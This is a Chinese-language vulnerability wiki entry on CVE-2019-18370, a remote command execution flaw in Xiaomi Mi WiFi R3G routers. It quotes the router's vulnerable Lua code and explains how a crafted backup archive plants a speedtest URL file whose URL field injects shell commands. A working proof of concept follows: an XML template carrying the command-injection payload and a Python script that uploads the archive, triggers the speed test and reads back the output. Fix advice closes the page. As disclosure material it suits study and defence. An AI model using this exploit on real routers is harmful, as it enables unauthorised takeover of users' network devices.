menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right yougar0.github.io(基于零组公开漏洞库 + PeiQi文库的一些漏洞)-20210715 chevron_right IOT安全 chevron_right 小米 chevron_right (CVE-2019-18370)Xiaomi Mi WiFi R3G 远程命令执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2019-18370)Xiaomi Mi WiFi R3G 远程命令执行漏洞.md
    10.37 KB / 2021-04-21 09:23:46
        # (CVE-2019-18370)Xiaomi Mi WiFi R3G 远程命令执行漏洞
    
    ## 一、漏洞简介
    
    Xiaomi Mi WiFi R3G是中国小米科技(Xiaomi)公司的一款3G路由器。 Xiaomi Mi WiFi R3G 2.28.23-stable之前版本中存在输入验证错误漏洞。该漏洞源于网络系统或产品未对输入的数据进行正确的验证。
    
    ## 二、漏洞影响
    
    Xiaomi Mi WiFi R3G 2.28.23-stable之前版本
    
    ## 三、复现过程
    
    备份文件是`tar.gz`格式的,上传后`tar zxf`解压,所以构造备份文件,可以控制解压目录的文件内容,结合测试上传下载速度功能的sh脚本执行时读取测试url列表文件,并将url部分直接进行命令拼接执行。
    
    备份文件解压导致`/tmp/`目录任意文件可控
    
    在`/usr/lib/lua/luci/controller/api/misystem.lua`中,配置文件功能如下
    
    ```
    function cUpload()
        local LuciFs = require("luci.fs")
        local XQBackup = require("xiaoqiang.module.XQBackup")
        local code = 0
        local canupload = true
        local uploadFilepath = "/tmp/cfgbackup.tar.gz"
        local fileSize = tonumber(LuciHttp.getenv("CONTENT_LENGTH"))
        if fileSize > 102400 then
            canupload = false
        end
        LuciHttp.setfilehandler(
            function(meta, chunk, eof)
                if canupload then
                    if not fp then
                        if meta and meta.name == "image" then
                            fp = io.open(uploadFilepath, "w")
                        end
                    end
                    if chunk then
                        fp:write(chunk)
                    end
                    if eof then
                        fp:close()
                    end
                else
                    code = 1630
                end
            end
        )
        if LuciHttp.formvalue("image") and fp then
            code = 0
        end
        local result = {}
        if code == 0 then
            local ext = XQBackup.extract(uploadFilepath)
            if ext == 0 then
                result["des"] = XQBackup.getdes()
            else
                code = 1629
            end
        end
        if code ~= 0 then
            result["msg"] = XQErrorUtil.getErrorMessage(code)
            LuciFs.unlink(uploadFilepath)
        end
        result["code"] = code
        LuciHttp.write_json(result)
    end
    ```
    
    其中调用`XQBackup.extract(uploadFilepath)`进行解压
    
    ```
    -- 0:succeed
    -- 1:file does not exist
    -- 2:no description file
    -- 3:no mbu file
    function extract(filepath)
        local fs = require("nixio.fs")
        local tarpath = filepath
        if not tarpath then
            tarpath = TARMBUFILE
        end
        if not fs.access(tarpath) then
            return 1
        end
        os.execute("cd /tmp; tar -xzf "..tarpath.." >/dev/null 2>/dev/null")
        os.execute("rm "..tarpath.." >/dev/null 2>/dev/null")
        if not fs.access(DESFILE) then
            return 2
        end
        if not fs.access(MBUFILE) then
            return 3
        end
        return 0
    ```
    
    可知,`/tmp`目录下的任意文件可控
    
    > /usr/bin/upload_speedtest,/usr/bin/download_speedtest`等会读取`/tmp/speedtest_urls.xml`并提取url直接进行命令拼接,且这几个脚本可以通过web接口调用
    
    举例,查看`/usr/bin/download_speedtest`文件
    
    ```
    #!/usr/bin/env lua
    -- ...
    local cfg = {
    -- ...
    	['xmlfile'] = "/usr/share/speedtest.xml",
            ['tmp_speedtest_xml'] = "/tmp/speedtest_urls.xml",
    }
    VERSION="__UNDEFINED__"
    -- ...
    -- 测试网速使用的url文件为,若存在/tmp/speedtest_urls.xml则使用,否则用/usr/share/speedtest.xml
    local filename = ""
    filexml = io.open(cfg.tmp_speedtest_xml)
    if filexml then
        filexml:close()
        filename = cfg.tmp_speedtest_xml
    else
        filename = cfg.xmlfile
    end
    
    local pp = io.open(filename)
    local line = pp:read("*line")
    local size = 0
    local resources = {}
    local u = ""
    local pids = {}
    -- ...
    function wget_work(url)
    	local _url = url
    	pid = posix.fork()
    	if pid < 0 then
    		print("fork error")
    		return -1
    	elseif pid > 0 then
    		--print(string.format("child pid %d\n", pid))
    	else
            -- 拼接命令,最终在这里执行
    		os.execute('for i in $(seq '.. math.floor(cfg.nr/cfg.nc) ..'); do wget '.. url  ..
    		" -q -O /dev/null; done")
    	end
    	return pid
    end
    
    while line do
        -- 从文件中提取url, 这里提取没有进行过滤
    	local _, _, url = string.find(line,'<item url="(.*)"/>')
    	if url then
    		table.insert(resources, url)
    	end
    	line = pp:read("*line")
    end
    pp:close()
    
    local urls = mrandom(1, table.getn(resources), cfg.nc)
    
    for k, v in ipairs(urls) do
    	if VERSION == "LESSMEM" then
    		local pid = wget_work_loop(resources[v])
    	else
            -- VERSION 为 __UNDEFINED__, url直接作为参数
    		local pid = wget_work(resources[v])
    	end
    	if(pid == 0) then
    		os.exit(0)
    	elseif(pid == -1) then
    		done()
    	end
    end
    ```
    
    调用的地方貌似有好几个,其中`/usr/lib/lua/luci/controller/api/xqnetdetect.lua`中
    
    ```
    function netspeed()
        local XQPreference = require("xiaoqiang.XQPreference")
        local XQNSTUtil = require("xiaoqiang.module.XQNetworkSpeedTest")
        local code = 0
        local result = {}
        local history = LuciHttp.formvalue("history")
        if history then
            result["bandwidth"] = tonumber(XQPreference.get("BANDWIDTH", 0, "xiaoqiang"))
            result["download"] = tonumber(string.format("%.2f", 128 * result.bandwidth))
            result["bandwidth2"] = tonumber(XQPreference.get("BANDWIDTH2", 0, "xiaoqiang"))
            result["upload"] = tonumber(string.format("%.2f", 128 * result.bandwidth2))
        else
            os.execute("/etc/init.d/miqos stop")
            -- 这里调用了downloadSpeedTest
            local download = XQNSTUtil.downloadSpeedTest()
            if download then
                result["download"] = download
                result["bandwidth"] = tonumber(string.format("%.2f", 8 * download/1024))
                XQPreference.set("BANDWIDTH", tostring(result.bandwidth), "xiaoqiang")
            else
                code = 1588
            end
            if code ~= 0 then
               result["msg"] = XQErrorUtil.getErrorMessage(code)
            end
            os.execute("/etc/init.d/miqos start")
        end
        
        result["code"] = code
        LuciHttp.write_json(result)
    end
    function downloadSpeedTest()
        local speedtest = "/usr/bin/download_speedtest"
        local speed
        -- 直接调用sh文件
        for _, line in ipairs(LuciUtil.execl(speedtest)) do
            if not XQFunction.isStrNil(line) and line:match("^avg rx:") then
                speed = line:match("^avg rx:(%S+)")
                if speed then
                    speed = tonumber(string.format("%.2f",speed/8))
                end
                break
            end
        end
        return speed
    end
    ```
    
    所以,我们只需要构造恶意的`speedtest_urls.xml`文件,构造备份文件,上传备份文件,然后调用网络测试相关的接口,即可以实现命令注入。
    
    ### poc
    
    > template.xml
    
    ```
    <?xml version="1.0"?>
    <root>
    	<class type="1">
    		<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
    		<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
    		<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
    		<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
    		<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
    		<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
    		<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
    		<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
    		<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
    		<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
    		<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
    		<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
    		<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
    		<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
    	</class>
    	<class type="2">
    		<item url="http://192.168.31.1 -q -O /dev/null;{command}>/tmp/1.txt; exit; wget http://192.168.31.1  "/>
    	</class>
    	<class type="3">
    		<item uploadurl="http://www.taobao.com/"/>
    		<item uploadurl="http://www.so.com/"/>
    		<item uploadurl="http://www.qq.com/"/>
    		<item uploadurl="http://www.sohu.com/"/>
    		<item uploadurl="http://www.tudou.com/"/>
    		<item uploadurl="http://www.360doc.com/"/>
    		<item uploadurl="http://www.kankan.com/"/>
    		<item uploadurl="http://www.speedtest.cn/"/>
    	</class>
    </root>
    ```
    
    > remote_command_execution_vulnerability.py
    
    ```
    import os
    import tarfile
    import requests
    
    # proxies = {"http":"http://127.0.0.1:8080"}
    proxies = {}
    
    ## get stok
    stok = input("stok: ")
    
    ## make config file
    command = input("command: ")
    speed_test_filename = "speedtest_urls.xml"
    with open("template.xml","rt") as f:
    	template = f.read()
    data = template.format(command=command)
    # print(data)
    with open("speedtest_urls.xml",'wt') as f:
    	f.write(data)
    
    with tarfile.open("payload.tar.gz", "w:gz") as tar:
    	# tar.add("cfg_backup.des")
    	# tar.add("cfg_backup.mbu")
    	tar.add("speedtest_urls.xml")
    
    ## upload config file
    print("start uploading config file ...")
    r1 = requests.post("http://192.168.31.1/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(stok), files={"image":open("payload.tar.gz",'rb')}, proxies=proxies)
    # print(r1.text)
    
    ## exec download speed test, exec command
    print("start exec command...")
    r2 = requests.get("http://192.168.31.1/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed".format(stok), proxies=proxies)
    # print(r2.text)
    
    ## read result file
    r3 = requests.get("http://192.168.31.1/api-third-party/download/extdisks../tmp/1.txt", proxies=proxies)
    if r3.status_code == 200:
    	print("success, vul")
    	print(r3.text)
    ```
    
    [![image-20200904223817264](resource/(CVE-2019-18370)Xiaomi%20Mi%20WiFi%20R3G%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/media/image-20200904223817264.png)](https://www.ol4three.com/2020/09/12/IOT/Exploit/小米/CVE-2019-18370-Xiaomi-Mi-WiFi-R3G-远程命令执行漏洞/image-20200904223817264.png)
    
    [image-20200904223817264](https://www.ol4three.com/2020/09/12/IOT/Exploit/小米/CVE-2019-18370-Xiaomi-Mi-WiFi-R3G-远程命令执行漏洞/image-20200904223817264.png)
    
    
    
    ## 修复方案
    
    1. 将备份文件格式修改为特定格式,直接读取备份文件内容,而不需使用解压
    2. 从`speedtest_urls.xml`中读取urls时,进行必要的过滤,防止命令注入
    
    ## 参考链接
    
    > https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/report/report.md
    
    links
    file_download